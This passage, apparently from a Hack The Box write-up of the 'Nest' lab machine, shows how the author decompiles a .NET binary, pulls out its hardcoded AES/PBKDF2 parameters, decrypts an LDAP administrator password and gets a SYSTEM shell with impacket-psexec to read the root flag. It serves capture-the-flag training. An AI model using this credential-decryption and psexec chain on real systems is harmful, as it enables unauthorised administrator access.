<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <DebugPassword>WBQ201953D8w</DebugPassword>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

While navigating the filesystem, we’ll find a folder named LDAP. This folder contains two files:

  1. HqkLdap.exe (the same binary found in C.Smith SMB share)
  2. Ldap.conf

The second one (Ldap.conf) seems very interesting. Let’s take a look at it’s content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: ldap
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Nice, it’s the administrator password!, Right? Well, just like with C.Smith’s password, this one is encrypted, we can try using RuScanner decryption function, as we did with C.Smith’s password, but it will fail since it’s using different values for encryption.

1
2
3
xxd <(base64 -d  <<< "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=")
00000000: cb21 2ad1 4bef 86ad ae40 e716 1bca 5e2e  .!*.K....@....^.
00000010: 8791 41e8 6a8a 9fdf 29d7 86fe 48c4 55be  ..A.j...)...H.U.

Diving into the HqkLdap.exe source code

We found some very interesting attributes. If we decompile the HqkLdap.exe binary using dnSpy and navigate to MainModule class, we will see the purpose of Ldap.Conf. Let’s see where is being used.

img_8

We can see that there are things happening here; the application is doing the following:

1.- Verify the count of commandline arguments is equal to one.

1
if (MyProject.Application.CommandLineArgs.Count != 1)

2.- Verify that the file specified in the argument exists. (Here is where Ldap.conf must be)

1
else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
  1. Verify that the HqkDbImport.exe file exists.
1
else if (!File.Exists("HqkDbImport.exe"))

4.- Break the file specified in the arguments into a string array separated by line feeds.

1
string[] array = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]);

5.- Iterate over the string array

1
2
3
foreach (string text in array){
  ///
}

6.- Verify is the current string starts with “Domain=”. if it does, assign it as a property in the ldapSearchSettings object. Do the same for “User=” and “Password=” for the corresponging values in the string array.

1
2
3
4
5
6
7
8
9
10
11
12
if (text.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase))
{
	ldapSearchSettings.Domain = text.Substring(text.IndexOf('=') + 1);
}
else if (text.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase))
{
	ldapSearchSettings.Username = text.Substring(text.IndexOf('=') + 1);
}
else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
{
	ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1));
}

Once the ldapSearchSettings object has Domain, Username and Password attributes, it creates an instance of the Ldap class using these attributes. It then uses this instance to call the Ldap.FindUsers method and save the result in a generic list of strings.

1
2
3
4
5
6
Ldap ldap = new Ldap();
ldap.Username = ldapSearchSettings.Username;
ldap.Password = ldapSearchSettings.Password;
ldap.Domain = ldapSearchSettings.Domain;
Console.WriteLine("Performing LDAP query...");
List<string> list = ldap.FindUsers();

Then iterate through list of users, print each user’s value and execute HqkDbImport.exe /ImportLdapUser <user> for each one. We don’t know exactly what ‘HqkDbImport.exe’ does, but we know that it performs some kind of user import to a database.

1
2
3
4
5
foreach (string text2 in list)
{
	Console.WriteLine(text2);
	Process.Start("HqkDbImport.exe /ImportLdapUser " + text2);
}

When the program iterates over the file passed with the cmdline arguments we can see that it’s doing something to the password before assigning it to ldapSearchSettings.Password.

1
2
3
4
else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
{
      ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1));
}

It is applying a function named CR.DS to the password. Let’s investigate what this function does.

img_9

We can see that CR.DS receives an encrypted string as a parameter, then passes it to CR.RD method as a parameter. Let’s see more about CR.RD:

img_10

I don’t know exactly how this code works, but I know it decrypts an AES ciphertext in CBC Mode using a PBKDF2 key. So, we can try to use these values in order to decrypt the administrator password. We can get the encryption parameters looking at the encryption/decryption functions (CR.ES/CR.DS), let’s take a look into the decryption functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static string DS(string EncryptedString)
{
    if (string.IsNullOrEmpty(EncryptedString))
    {
    return string.Empty;
    }
    return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
    byte[] bytes = Encoding.ASCII.GetBytes(initVector);
    byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
    byte[] array = Convert.FromBase64String(cipherText);
    ...
}

We can see that RD is receiving the parameters in the following order: cipherText, passPhrase, saltValue, etc. Based on the parameters DS passes to RD, we can conclude that:

KeyValue
passPhrase667912
saltValue1313Rf99
passwordIterations3
Init Vector1L1SA61493DRV53Z
keySize256

Decrypting Administrator Password

Well, I came up with three differents way to do this.

  1. Using Cyberchef
  2. Copying the decrypt function (RD) and passing the encrypted password (just as we did with C.Smith’s password).
  3. Copying the Ldap.conf file from HQK Service and pass it to the HqkLdap binary as an argument; then use breakpoints to read the ldapSearchSettings Password property.
1
2
3
4
else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
{
  ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1)); // Here
}

I’m going to do the first one, as I already did the second one and I’m to lazy to do the third.

Cyberchef

We can use CyberChef to create the PBKDF2 key, and the use it to decrypt the password. To create the PBKDF2 key, we need the following values:

  1. A Passphrase
  2. The key size
  3. Number of iterations
  4. A salt value

Getting the key

img_11 Nice, we’ve got the key; now let’s decrypt the password.

Getting the password

img_12 And there it is the administrator password. Now let’s try to use these credentials to gain administrator access and read the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ impacket-psexec Administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file kfKTarfJ.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service kjNv on 10.10.10.178.....
[*] Starting service kjNv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
56c9b8c7e...

C:\Windows\system32>

And that’s all. I enjoyed this machine a lot, but I don’t know what the author was thinking when he cataloged it as an easy machine.

This post is licensed under CC BY 4.0 by the author.